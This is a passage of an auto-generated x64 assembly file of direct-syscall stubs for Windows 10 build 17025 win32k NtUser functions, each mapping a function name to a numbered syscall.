ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmGetRemoteSessionOcclusionState ENDP
; ULONG64 __stdcall NtUserDwmKernelShutdown( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmKernelShutdown PROC STDCALL
mov r10 , rcx
mov eax , 5003
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmKernelShutdown ENDP
; ULONG64 __stdcall NtUserDwmKernelStartup( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmKernelStartup PROC STDCALL
mov r10 , rcx
mov eax , 5004
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmKernelStartup ENDP
; ULONG64 __stdcall NtUserDwmValidateWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmValidateWindow PROC STDCALL
mov r10 , rcx
mov eax , 5005
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDwmValidateWindow ENDP
; ULONG64 __stdcall NtUserEnableChildWindowDpiMessage( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableChildWindowDpiMessage PROC STDCALL
mov r10 , rcx
mov eax , 5006
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableChildWindowDpiMessage ENDP
; ULONG64 __stdcall NtUserEnableIAMAccess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableIAMAccess PROC STDCALL
mov r10 , rcx
mov eax , 5007
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableIAMAccess ENDP
; ULONG64 __stdcall NtUserEnableMouseInPointer( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableMouseInPointer PROC STDCALL
mov r10 , rcx
mov eax , 5008
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableMouseInPointer ENDP
; ULONG64 __stdcall NtUserEnableMouseInputForCursorSuppression( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableMouseInputForCursorSuppression PROC STDCALL
mov r10 , rcx
mov eax , 5009
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableMouseInputForCursorSuppression ENDP
; ULONG64 __stdcall NtUserEnableNonClientDpiScaling( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableNonClientDpiScaling PROC STDCALL
mov r10 , rcx
mov eax , 5010
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableNonClientDpiScaling ENDP
; ULONG64 __stdcall NtUserEnableResizeLayoutSynchronization( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableResizeLayoutSynchronization PROC STDCALL
mov r10 , rcx
mov eax , 5011
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableResizeLayoutSynchronization ENDP
; ULONG64 __stdcall NtUserEnableTouchPad( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableTouchPad PROC STDCALL
mov r10 , rcx
mov eax , 5012
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableTouchPad ENDP
; ULONG64 __stdcall NtUserEnableWindowGDIScaledDpiMessage( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableWindowGDIScaledDpiMessage PROC STDCALL
mov r10 , rcx
mov eax , 5013
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableWindowGDIScaledDpiMessage ENDP
; ULONG64 __stdcall NtUserEnableWindowResizeOptimization( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableWindowResizeOptimization PROC STDCALL
mov r10 , rcx
mov eax , 5014
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnableWindowResizeOptimization ENDP
; ULONG64 __stdcall NtUserEndMenu( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEndMenu PROC STDCALL
mov r10 , rcx
mov eax , 5015
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEndMenu ENDP
; ULONG64 __stdcall NtUserEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEvent PROC STDCALL
mov r10 , rcx
mov eax , 5016
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEvent ENDP
; ULONG64 __stdcall NtUserFlashWindowEx( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFlashWindowEx PROC STDCALL
mov r10 , rcx
mov eax , 5017
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFlashWindowEx ENDP
; ULONG64 __stdcall NtUserFrostCrashedWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFrostCrashedWindow PROC STDCALL
mov r10 , rcx
mov eax , 5018
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFrostCrashedWindow ENDP
; ULONG64 __stdcall NtUserFunctionalizeDisplayConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFunctionalizeDisplayConfig PROC STDCALL
mov r10 , rcx
mov eax , 5019
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFunctionalizeDisplayConfig ENDP
; ULONG64 __stdcall NtUserGetActiveProcessesDpis( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetActiveProcessesDpis PROC STDCALL
mov r10 , rcx
mov eax , 5020
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetActiveProcessesDpis ENDP
; ULONG64 __stdcall NtUserGetAppImeLevel( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAppImeLevel PROC STDCALL
mov r10 , rcx
mov eax , 5021
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAppImeLevel ENDP
; ULONG64 __stdcall NtUserGetAutoRotationState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAutoRotationState PROC STDCALL
mov r10 , rcx
mov eax , 5022
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAutoRotationState ENDP
; ULONG64 __stdcall NtUserGetCIMSSM( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCIMSSM PROC STDCALL
mov r10 , rcx
mov eax , 5023
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCIMSSM ENDP
; ULONG64 __stdcall NtUserGetCaretPos( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCaretPos PROC STDCALL
mov r10 , rcx
mov eax , 5024
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCaretPos ENDP
; ULONG64 __stdcall NtUserGetClipCursor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipCursor PROC STDCALL
mov r10 , rcx
mov eax , 5025
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipCursor ENDP
; ULONG64 __stdcall NtUserGetClipboardAccessToken( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardAccessToken PROC STDCALL
mov r10 , rcx
mov eax , 5026
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardAccessToken ENDP
; ULONG64 __stdcall NtUserGetClipboardViewer( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardViewer PROC STDCALL
mov r10 , rcx
mov eax , 5027
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardViewer ENDP
; ULONG64 __stdcall NtUserGetComboBoxInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetComboBoxInfo PROC STDCALL
mov r10 , rcx
mov eax , 5028
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetComboBoxInfo ENDP
; ULONG64 __stdcall NtUserGetCurrentInputMessageSource( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCurrentInputMessageSource PROC STDCALL
mov r10 , rcx
mov eax , 5029
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCurrentInputMessageSource ENDP
; ULONG64 __stdcall NtUserGetCursor( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursor PROC STDCALL
mov r10 , rcx
mov eax , 5030
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursor ENDP
; ULONG64 __stdcall NtUserGetCursorDims( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursorDims PROC STDCALL
mov r10 , rcx
mov eax , 5031
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursorDims ENDP
; ULONG64 __stdcall NtUserGetCursorInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursorInfo PROC STDCALL
mov r10 , rcx
mov eax , 5032
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCursorInfo ENDP
; ULONG64 __stdcall NtUserGetDManipHookInitFunction( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDManipHookInitFunction PROC STDCALL
mov r10 , rcx
mov eax , 5033
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDManipHookInitFunction ENDP
; ULONG64 __stdcall NtUserGetDesktopID( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDesktopID PROC STDCALL
mov r10 , rcx
mov eax , 5034
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDesktopID ENDP
; ULONG64 __stdcall NtUserGetDisplayAutoRotationPreferences( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDisplayAutoRotationPreferences PROC STDCALL
mov r10 , rcx
mov eax , 5035
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDisplayAutoRotationPreferences ENDP
; ULONG64 __stdcall NtUserGetDisplayAutoRotationPreferencesByProcessId( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDisplayAutoRotationPreferencesByProcessId PROC STDCALL
mov r10 , rcx
mov eax , 5036
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDisplayAutoRotationPreferencesByProcessId ENDP
; ULONG64 __stdcall NtUserGetDisplayConfigBufferSizes( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDisplayConfigBufferSizes PROC STDCALL
mov r10 , rcx
mov eax , 5037
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDisplayConfigBufferSizes ENDP
; ULONG64 __stdcall NtUserGetDpiForCurrentProcess( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDpiForCurrentProcess PROC STDCALL
mov r10 , rcx
mov eax , 5038
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDpiForCurrentProcess ENDP
; ULONG64 __stdcall NtUserGetDpiForMonitor( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDpiForMonitor PROC STDCALL
mov r10 , rcx
mov eax , 5039
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDpiForMonitor ENDP
; ULONG64 __stdcall NtUserGetGestureConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGestureConfig PROC STDCALL
mov r10 , rcx
mov eax , 5040
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGestureConfig ENDP
; ULONG64 __stdcall NtUserGetGestureExtArgs( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGestureExtArgs PROC STDCALL
mov r10 , rcx
mov eax , 5041
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGestureExtArgs ENDP
; ULONG64 __stdcall NtUserGetGestureInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGestureInfo PROC STDCALL
mov r10 , rcx
mov eax , 5042
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGestureInfo ENDP
; ULONG64 __stdcall NtUserGetGuiResources( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGuiResources PROC STDCALL
mov r10 , rcx
mov eax , 5043
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGuiResources ENDP
; ULONG64 __stdcall NtUserGetHDevName( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetHDevName PROC STDCALL
mov r10 , rcx
mov eax , 5044
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetHDevName ENDP
; ULONG64 __stdcall NtUserGetHimetricScaleFactorFromPixelLocation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetHimetricScaleFactorFromPixelLocation PROC STDCALL
mov r10 , rcx
mov eax , 5045
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetHimetricScaleFactorFromPixelLocation ENDP
; ULONG64 __stdcall NtUserGetImeHotKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetImeHotKey PROC STDCALL
mov r10 , rcx
mov eax , 5046
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetImeHotKey ENDP
; ULONG64 __stdcall NtUserGetImeInfoEx( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetImeInfoEx PROC STDCALL
mov r10 , rcx
mov eax , 5047
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetImeInfoEx ENDP
; ULONG64 __stdcall NtUserGetInputLocaleInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInputLocaleInfo PROC STDCALL
mov r10 , rcx
mov eax , 5048
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInputLocaleInfo ENDP
; ULONG64 __stdcall NtUserGetInteractiveControlDeviceInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInteractiveControlDeviceInfo PROC STDCALL
mov r10 , rcx
mov eax , 5049
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInteractiveControlDeviceInfo ENDP
; ULONG64 __stdcall NtUserGetInteractiveControlInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInteractiveControlInfo PROC STDCALL
mov r10 , rcx
mov eax , 5050
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInteractiveControlInfo ENDP
; ULONG64 __stdcall NtUserGetInteractiveCtrlSupportedWaveforms( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInteractiveCtrlSupportedWaveforms PROC STDCALL
mov r10 , rcx
mov eax , 5051
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInteractiveCtrlSupportedWaveforms ENDP
; ULONG64 __stdcall NtUserGetInternalWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInternalWindowPos PROC STDCALL
mov r10 , rcx
mov eax , 5052
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetInternalWindowPos ENDP
; ULONG64 __stdcall NtUserGetKeyNameText( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyNameText PROC STDCALL
mov r10 , rcx
mov eax , 5053
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyNameText ENDP
; ULONG64 __stdcall NtUserGetKeyboardLayoutName( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyboardLayoutName PROC STDCALL
mov r10 , rcx
mov eax , 5054
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyboardLayoutName ENDP
; ULONG64 __stdcall NtUserGetLayeredWindowAttributes( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetLayeredWindowAttributes PROC STDCALL
mov r10 , rcx
mov eax , 5055
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetLayeredWindowAttributes ENDP
; ULONG64 __stdcall NtUserGetListBoxInfo( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetListBoxInfo PROC STDCALL
mov r10 , rcx
mov eax , 5056
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetListBoxInfo ENDP
; ULONG64 __stdcall NtUserGetMenuIndex( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMenuIndex PROC STDCALL
mov r10 , rcx
mov eax , 5057
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMenuIndex ENDP
; ULONG64 __stdcall NtUserGetMenuItemRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMenuItemRect PROC STDCALL
mov r10 , rcx
mov eax , 5058
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMenuItemRect ENDP
; ULONG64 __stdcall NtUserGetMonitorBrightness( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMonitorBrightness PROC STDCALL
mov r10 , rcx
mov eax , 5059
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMonitorBrightness ENDP
; ULONG64 __stdcall NtUserGetMouseMovePointsEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMouseMovePointsEx PROC STDCALL
mov r10 , rcx
mov eax , 5060
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetMouseMovePointsEx ENDP
; ULONG64 __stdcall NtUserGetOemBitmapSize( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetOemBitmapSize PROC STDCALL
mov r10 , rcx
mov eax , 5061
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetOemBitmapSize ENDP
; ULONG64 __stdcall NtUserGetPhysicalDeviceRect( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPhysicalDeviceRect PROC STDCALL
mov r10 , rcx
mov eax , 5062
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPhysicalDeviceRect ENDP
; ULONG64 __stdcall NtUserGetPointerCursorId( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerCursorId PROC STDCALL
mov r10 , rcx
mov eax , 5063
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerCursorId ENDP
; ULONG64 __stdcall NtUserGetPointerDevice( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDevice PROC STDCALL
mov r10 , rcx
mov eax , 5064
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDevice ENDP
; ULONG64 __stdcall NtUserGetPointerDeviceCursors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDeviceCursors PROC STDCALL
mov r10 , rcx
mov eax , 5065
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDeviceCursors ENDP
; ULONG64 __stdcall NtUserGetPointerDeviceProperties( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDeviceProperties PROC STDCALL
mov r10 , rcx
mov eax , 5066
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDeviceProperties ENDP
; ULONG64 __stdcall NtUserGetPointerDeviceRects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDeviceRects PROC STDCALL
mov r10 , rcx
mov eax , 5067
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDeviceRects ENDP
; ULONG64 __stdcall NtUserGetPointerDevices( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDevices PROC STDCALL
mov r10 , rcx
mov eax , 5068
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerDevices ENDP
; ULONG64 __stdcall NtUserGetPointerFrameArrivalTimes( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerFrameArrivalTimes PROC STDCALL
mov r10 , rcx
mov eax , 5069
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerFrameArrivalTimes ENDP
; ULONG64 __stdcall NtUserGetPointerInfoList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerInfoList PROC STDCALL
mov r10 , rcx
mov eax , 5070
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerInfoList ENDP
; ULONG64 __stdcall NtUserGetPointerInputTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerInputTransform PROC STDCALL
mov r10 , rcx
mov eax , 5071
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerInputTransform ENDP
; ULONG64 __stdcall NtUserGetPointerType( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerType PROC STDCALL
mov r10 , rcx
mov eax , 5072
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPointerType ENDP
; ULONG64 __stdcall NtUserGetPrecisionTouchPadConfiguration( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPrecisionTouchPadConfiguration PROC STDCALL
mov r10 , rcx
mov eax , 5073
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPrecisionTouchPadConfiguration ENDP
; ULONG64 __stdcall NtUserGetPriorityClipboardFormat( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPriorityClipboardFormat PROC STDCALL
mov r10 , rcx
mov eax , 5074
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetPriorityClipboardFormat ENDP
; ULONG64 __stdcall NtUserGetProcessDpiAwarenessContext( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProcessDpiAwarenessContext PROC STDCALL
mov r10 , rcx
mov eax , 5075
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProcessDpiAwarenessContext ENDP
; ULONG64 __stdcall NtUserGetProcessUIContextInformation( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProcessUIContextInformation PROC STDCALL
mov r10 , rcx
mov eax , 5076
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProcessUIContextInformation ENDP
; ULONG64 __stdcall NtUserGetQueueStatusReadonly( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetQueueStatusReadonly PROC STDCALL
mov r10 , rcx
mov eax , 5077
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetQueueStatusReadonly ENDP
; ULONG64 __stdcall NtUserGetRawInputBuffer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputBuffer PROC STDCALL
mov r10 , rcx
mov eax , 5078
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputBuffer ENDP
; ULONG64 __stdcall NtUserGetRawInputData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputData PROC STDCALL
mov r10 , rcx
mov eax , 5079
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputData ENDP
; ULONG64 __stdcall NtUserGetRawInputDeviceInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputDeviceInfo PROC STDCALL
mov r10 , rcx
mov eax , 5080
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetRawInputDeviceInfo ENDP
; ULONG64 __stdcall NtUserGetRawInputDeviceList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
